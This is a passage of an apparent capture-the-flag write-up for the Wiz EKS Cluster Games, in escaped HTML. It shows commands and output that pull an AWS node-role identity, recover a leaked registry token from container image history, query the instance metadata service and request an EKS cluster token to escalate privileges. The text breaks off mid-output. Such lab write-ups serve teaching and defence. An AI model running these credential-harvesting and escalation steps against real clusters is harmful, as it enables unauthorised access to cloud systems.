style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"ASIA2AVYNE\u0026#x3C;*REDACTED*\u003e:i-0cb922c6673973282\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"Account\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"688655246681\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"Arn\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNow we should be able to authenticate crane and inspect the image from ECR:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e export\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e PASSWORD=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e$(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003eaws\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ecr\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get-login-password\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e crane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e auth\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e login\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -u\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AWS\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -p\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e $PASSWORD \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e688655246681.dkr.ecr.us-west-1.amazonaws.com\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e2023/11/03\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 02:56:41\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e logged\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e in\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e via\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /home/user/.docker/config.json\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eLet us get those layers!\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e crane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e config\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ejq\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"architecture\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"amd64\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"config\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"Env\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"Cmd\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"/bin/sleep\"\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"3133337\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"ArgsEscaped\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e true\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"OnBuild\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e null\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-11-01T13:32:07.782534085Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"history\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-07-18T23:19:33.538571854Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created_by\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"/bin/sh -c #(nop) ADD file:7e9002edaafd4e4579b65c8f0aaabde1aeb7fd3f8d95579f7fd3443cef785fd1 in / \"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-07-18T23:19:33.655005962Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created_by\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"/bin/sh -c #(nop) CMD [\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003esh\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e]\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"empty_layer\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e true\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-11-01T13:32:07.782534085Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created_by\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"RUN sh -c #ARTIFACTORY_USERNAME=challenge@eksclustergames.com ARTIFACTORY_TOKEN=wiz_eks_challenge{the_history_of_container_images_could_reveal\u0026#x3C;*REDACTED*\u003e} ARTIFACTORY_REPO=base_repo /bin/sh -c pip install setuptools --index-url intrepo.eksclustergames.com # buildkit # buildkit\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"comment\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"buildkit.dockerfile.v0\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-11-01T13:32:07.782534085Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created_by\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"CMD [\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e/bin/sleep\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \\\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e3133337\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e]\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"comment\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"buildkit.dockerfile.v0\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"empty_layer\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e true\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"os\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"linux\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"rootfs\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"type\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"layers\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"diff_ids\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"sha256:3d24ee258efc3bfe4066a1a9fb83febf6dc0b1548dfe896161533668281c9f4f\"\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"sha256:9057b2e37673dc3d5c78e0c3c5c39d5d0a4cf5b47663a4f50f5c6d56d8fd6ad5\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eLooks like they made the same mistake again and leaked the secret in the image\nlayers!\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ewiz_eks_challenge{the_history_of_container_images_could_reveal\u0026#x3C;*REDACTED*\u003e} \n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eTime for challenge 4!\u003c/p\u003e\n\u003ch1\u003eChallenge 4\u003c/h1\u003e\n\u003cp\u003eThe hint:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eYou're inside a vulnerable pod on an EKS cluster. Your pod's service-account has\nno permissions. Can you navigate your way to access the EKS Node's privileged\nservice-account?\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThis sounds like we are going to need to escalate our privileges through the AWS\naccess we acquired in the last challenge. Let us start with inspecting the\nenvironment again:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e pod\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eError\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e from\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e server\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e (Forbidden): pods is forbidden: User \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"system:serviceaccount:challenge4:service-account-challenge4\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e cannot list resource \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"pods\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e in API group \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e in the namespace \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"challenge4\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSo we do not even have access to list pods! Do we have any access?\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e auth\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e can-i\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ewarning:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e the\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e list\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e may\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e be\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e incomplete:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e webhook\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e authorizer\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e does\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e not\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e support\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e user\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e rule\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e resolution\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eResources\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Non-Resource\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e URLs\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Resource\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Names\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Verbs\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eselfsubjectaccessreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [] [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eselfsubjectrulesreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [] [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/.well-known/openid-configuration] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/api/\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/api] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/apis/\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/apis] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/healthz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/healthz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/livez] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/livez] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/openapi/\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/openapi] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/openid/v1/jwks] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/readyz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/readyz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version/] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version/] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epodsecuritypolicies.policy\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [eks.privileged] [use]\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThat is \u003cem\u003every\u003c/em\u003e minimal access. So we are going to have to try get a token using\nthe escalated privileges. Usually we could use \u003ccode\u003eaws eks get-token\u003c/code\u003e but that\nrequires knowing the cluster name and I do not know that. Let us try to list the\nclusters:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e aws\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e eks\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e list-clusters\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eAn\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e error\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e occurred\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e (AccessDeniedException) when calling the ListClusters operation: User: arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282 is not authorized to perform: eks:ListClusters on resource: arn:aws:eks:us-west-1:688655246681:cluster/\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSo they have not given us much to go on at all here. The role itself \u003cem\u003emight\u003c/em\u003e be\na clue but that is relying on them being consistent with their naming:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003earn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThe cluster name \u003cem\u003emight\u003c/em\u003e be \u003ccode\u003eeks-challenge-cluster\u003c/code\u003e based on that but I cannot\nguarantee that. Let us check its security groups:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e curl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -sS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e http://169.254.169.254/latest/meta-data/security-groups\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e;\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003eecho\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eeks-cluster-sg-eks-challenge-cluster-963543728\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThe name is there again. I do not feel good about not having more details but it\nis at least worth trying it:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e aws\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e eks\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get-token\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --cluster-name\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e eks-challenge-cluster\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"kind\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"ExecCredential\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan 